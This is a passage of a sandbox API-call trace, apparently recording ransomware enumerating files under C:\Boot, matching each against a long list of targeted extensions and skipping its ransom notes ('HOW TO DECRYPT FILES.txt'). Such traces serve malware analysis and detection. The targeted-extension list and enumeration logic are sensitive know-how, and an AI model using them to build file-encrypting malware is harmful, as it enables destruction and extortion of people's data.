[0057.335] lstrlenA (lpString="*.mp4") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.335] lstrlenA (lpString="*.ppt") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.335] lstrlenA (lpString="*.pptx") returned 6 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.335] lstrlenA (lpString="*.doc") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.335] lstrlenA (lpString="*.dot") returned 5 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.335] lstrlenA (lpString="*.docx") returned 6 [0057.335] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.336] lstrlenA (lpString="*.7z") returned 4 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.336] lstrlenA (lpString="*.tar") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.336] lstrlenA (lpString="*.bz2") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.336] lstrlenA (lpString="*.gz") returned 4 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.336] lstrlenA (lpString="*.mkv") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.336] lstrlenA (lpString="*.eml") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.336] lstrlenA (lpString="*.msg") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.336] lstrlenA (lpString="*.edb") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.336] lstrlenA (lpString="*.accdb") returned 7 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.336] lstrlenA (lpString="*.odb") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.336] lstrlenA (lpString="*.java") returned 6 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.336] lstrlenA (lpString="*.asm") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.336] lstrlenA (lpString="*.pfx") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.336] lstrlenA (lpString="*.pem") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.336] lstrlenA (lpString="*.p12") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.336] lstrlenA (lpString="*.gpg") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.336] lstrlenA (lpString="*.vsd") returned 5 [0057.336] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.337] lstrlenA (lpString="*.odg") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.337] lstrlenA (lpString="*.raw") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.337] lstrlenA (lpString="*.nef") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.337] lstrlenA (lpString="*.svg") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.337] lstrlenA (lpString="*.psd") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.337] lstrlenA (lpString="*.vmx") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.337] lstrlenA (lpString="*.vmdk") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.337] lstrlenA (lpString="*.vdi") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.337] lstrlenA (lpString="*.lay6") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.337] lstrlenA (lpString="*.mpeg") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.337] lstrlenA (lpString="*.djvu") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.337] lstrlenA (lpString="*.tiff") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.337] lstrlenA (lpString="*.backup") returned 8 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.337] lstrlenA (lpString="*.pdf") returned 5 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.337] lstrlenA (lpString="*.cert") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.337] lstrlenA (lpString="*.docm") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.337] lstrlenA (lpString="*.xlsm") returned 6 [0057.337] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.337] lstrlenA (lpString="*.dwg") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.338] lstrlenA (lpString="*.nd") returned 4 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.338] lstrlenA (lpString="*.tlg") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.338] lstrlenA (lpString="*.lgb") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.338] lstrlenA (lpString="*.mov") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.338] lstrlenA (lpString="*.xdw") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.338] lstrlenA (lpString="*.ods") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.338] lstrlenA (lpString="*.wav") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.338] lstrlenA (lpString="*.mp3") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.338] lstrlenA (lpString="*.aiff") returned 6 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.338] lstrlenA (lpString="*.flac") returned 6 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.338] lstrlenA (lpString="*.m4a") returned 5 [0057.338] PathMatchSpecA (pszFile="C:\\Boot\\ko-KR\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.338] lstrlenA (lpString="*.csv") returned 5 [0057.338] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.338] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.338] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0057.338] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0057.338] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="memtest.exe") returned -1 [0057.338] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="memtest.exe") returned -1 [0057.338] lstrcmpiA (lpString1="", lpString2="memtest.exe") returned -1 [0057.338] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.339] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0057.339] PathAddBackslashA (in: pszPath="C:\\Boot\\" | out: pszPath="C:\\Boot\\") returned="" [0057.339] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\HOW TO DECRYPT FILES.txt" [0057.339] GetFileAttributesA (lpFileName="C:\\Boot\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\how to decrypt files.txt")) returned 0x20 [0057.339] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="memtest.exe" | out: lpString1="C:\\Boot\\memtest.exe") returned="C:\\Boot\\memtest.exe" [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.ems") returned 0 [0057.339] lstrlenA (lpString="*.ems") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.db") returned 0 [0057.339] lstrlenA (lpString="*.db") returned 4 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.dbf") returned 0 [0057.339] lstrlenA (lpString="*.dbf") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.myox") returned 0 [0057.339] lstrlenA (lpString="*.myox") returned 6 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.myo") returned 0 [0057.339] lstrlenA (lpString="*.myo") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qbw") returned 0 [0057.339] lstrlenA (lpString="*.qbw") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qbb") returned 0 [0057.339] lstrlenA (lpString="*.qbb") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qbm") returned 0 [0057.339] lstrlenA (lpString="*.qbm") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qbo") returned 0 [0057.339] lstrlenA (lpString="*.qbo") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qbx") returned 0 [0057.339] lstrlenA (lpString="*.qbx") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qba") returned 0 [0057.339] lstrlenA (lpString="*.qba") returned 5 [0057.339] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qby") returned 0 [0057.339] lstrlenA (lpString="*.qby") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qbj") returned 0 [0057.340] lstrlenA (lpString="*.qbj") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.ofx") returned 0 [0057.340] lstrlenA (lpString="*.ofx") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.qif") returned 0 [0057.340] lstrlenA (lpString="*.qif") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mye") returned 0 [0057.340] lstrlenA (lpString="*.mye") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mbox") returned 0 [0057.340] lstrlenA (lpString="*.mbox") returned 6 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.eml") returned 0 [0057.340] lstrlenA (lpString="*.eml") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.pst") returned 0 [0057.340] lstrlenA (lpString="*.pst") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.ost") returned 0 [0057.340] lstrlenA (lpString="*.ost") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.idx") returned 0 [0057.340] lstrlenA (lpString="*.idx") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.dbx") returned 0 [0057.340] lstrlenA (lpString="*.dbx") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.sql") returned 0 [0057.340] lstrlenA (lpString="*.sql") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mdb") returned 0 [0057.340] lstrlenA (lpString="*.mdb") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.fdb") returned 0 [0057.340] lstrlenA (lpString="*.fdb") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.wab") returned 0 [0057.340] lstrlenA (lpString="*.wab") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.dat") returned 0 [0057.340] lstrlenA (lpString="*.dat") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.txt") returned 0 [0057.340] lstrlenA (lpString="*.txt") returned 5 [0057.340] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.jpeg") returned 0 [0057.340] lstrlenA (lpString="*.jpeg") returned 6 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.jpg") returned 0 [0057.341] lstrlenA (lpString="*.jpg") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.png") returned 0 [0057.341] lstrlenA (lpString="*.png") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.php") returned 0 [0057.341] lstrlenA (lpString="*.php") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.cs") returned 0 [0057.341] lstrlenA (lpString="*.cs") returned 4 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.cpp") returned 0 [0057.341] lstrlenA (lpString="*.cpp") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.rar") returned 0 [0057.341] lstrlenA (lpString="*.rar") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.zip") returned 0 [0057.341] lstrlenA (lpString="*.zip") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.html") returned 0 [0057.341] lstrlenA (lpString="*.html") returned 6 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.htm") returned 0 [0057.341] lstrlenA (lpString="*.htm") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.xlsx") returned 0 [0057.341] lstrlenA (lpString="*.xlsx") returned 6 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.xls") returned 0 [0057.341] lstrlenA (lpString="*.xls") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mp4") returned 0 [0057.341] lstrlenA (lpString="*.mp4") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.ppt") returned 0 [0057.341] lstrlenA (lpString="*.ppt") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.pptx") returned 0 [0057.341] lstrlenA (lpString="*.pptx") returned 6 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.doc") returned 0 [0057.341] lstrlenA (lpString="*.doc") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.dot") returned 0 [0057.341] lstrlenA (lpString="*.dot") returned 5 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.docx") returned 0 [0057.341] lstrlenA (lpString="*.docx") returned 6 [0057.341] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.7z") returned 0 [0057.342] lstrlenA (lpString="*.7z") returned 4 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.tar") returned 0 [0057.342] lstrlenA (lpString="*.tar") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.bz2") returned 0 [0057.342] lstrlenA (lpString="*.bz2") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.gz") returned 0 [0057.342] lstrlenA (lpString="*.gz") returned 4 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mkv") returned 0 [0057.342] lstrlenA (lpString="*.mkv") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.eml") returned 0 [0057.342] lstrlenA (lpString="*.eml") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.msg") returned 0 [0057.342] lstrlenA (lpString="*.msg") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.edb") returned 0 [0057.342] lstrlenA (lpString="*.edb") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.accdb") returned 0 [0057.342] lstrlenA (lpString="*.accdb") returned 7 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.odb") returned 0 [0057.342] lstrlenA (lpString="*.odb") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.java") returned 0 [0057.342] lstrlenA (lpString="*.java") returned 6 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.asm") returned 0 [0057.342] lstrlenA (lpString="*.asm") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.pfx") returned 0 [0057.342] lstrlenA (lpString="*.pfx") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.pem") returned 0 [0057.342] lstrlenA (lpString="*.pem") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.p12") returned 0 [0057.342] lstrlenA (lpString="*.p12") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.gpg") returned 0 [0057.342] lstrlenA (lpString="*.gpg") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.vsd") returned 0 [0057.342] lstrlenA (lpString="*.vsd") returned 5 [0057.342] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.odg") returned 0 [0057.343] lstrlenA (lpString="*.odg") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.raw") returned 0 [0057.343] lstrlenA (lpString="*.raw") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.nef") returned 0 [0057.343] lstrlenA (lpString="*.nef") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.svg") returned 0 [0057.343] lstrlenA (lpString="*.svg") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.psd") returned 0 [0057.343] lstrlenA (lpString="*.psd") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.vmx") returned 0 [0057.343] lstrlenA (lpString="*.vmx") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.vmdk") returned 0 [0057.343] lstrlenA (lpString="*.vmdk") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.vdi") returned 0 [0057.343] lstrlenA (lpString="*.vdi") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.lay6") returned 0 [0057.343] lstrlenA (lpString="*.lay6") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mpeg") returned 0 [0057.343] lstrlenA (lpString="*.mpeg") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.djvu") returned 0 [0057.343] lstrlenA (lpString="*.djvu") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.tiff") returned 0 [0057.343] lstrlenA (lpString="*.tiff") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.backup") returned 0 [0057.343] lstrlenA (lpString="*.backup") returned 8 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.pdf") returned 0 [0057.343] lstrlenA (lpString="*.pdf") returned 5 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.cert") returned 0 [0057.343] lstrlenA (lpString="*.cert") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.docm") returned 0 [0057.343] lstrlenA (lpString="*.docm") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.xlsm") returned 0 [0057.343] lstrlenA (lpString="*.xlsm") returned 6 [0057.343] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.dwg") returned 0 [0057.344] lstrlenA (lpString="*.dwg") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.nd") returned 0 [0057.344] lstrlenA (lpString="*.nd") returned 4 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.tlg") returned 0 [0057.344] lstrlenA (lpString="*.tlg") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.lgb") returned 0 [0057.344] lstrlenA (lpString="*.lgb") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mov") returned 0 [0057.344] lstrlenA (lpString="*.mov") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.xdw") returned 0 [0057.344] lstrlenA (lpString="*.xdw") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.ods") returned 0 [0057.344] lstrlenA (lpString="*.ods") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.wav") returned 0 [0057.344] lstrlenA (lpString="*.wav") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.mp3") returned 0 [0057.344] lstrlenA (lpString="*.mp3") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.aiff") returned 0 [0057.344] lstrlenA (lpString="*.aiff") returned 6 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.flac") returned 0 [0057.344] lstrlenA (lpString="*.flac") returned 6 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.m4a") returned 0 [0057.344] lstrlenA (lpString="*.m4a") returned 5 [0057.344] PathMatchSpecA (pszFile="C:\\Boot\\memtest.exe", pszSpec="*.csv") returned 0 [0057.344] lstrlenA (lpString="*.csv") returned 5 [0057.344] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0057.344] lstrcmpA (lpString1=".", lpString2="nb-NO") returned -1 [0057.344] lstrcmpA (lpString1="..", lpString2="nb-NO") returned -1 [0057.344] PathFindFileNameA (pszPath="C:\\Boot\\memtest.exe") returned="memtest.exe" [0057.344] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="nb-NO" | out: lpString1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0057.344] lstrlenA (lpString="C:\\Boot\\nb-NO") returned 13 [0057.344] FindFirstFileA (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x4f70a8, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.345] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.345] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, 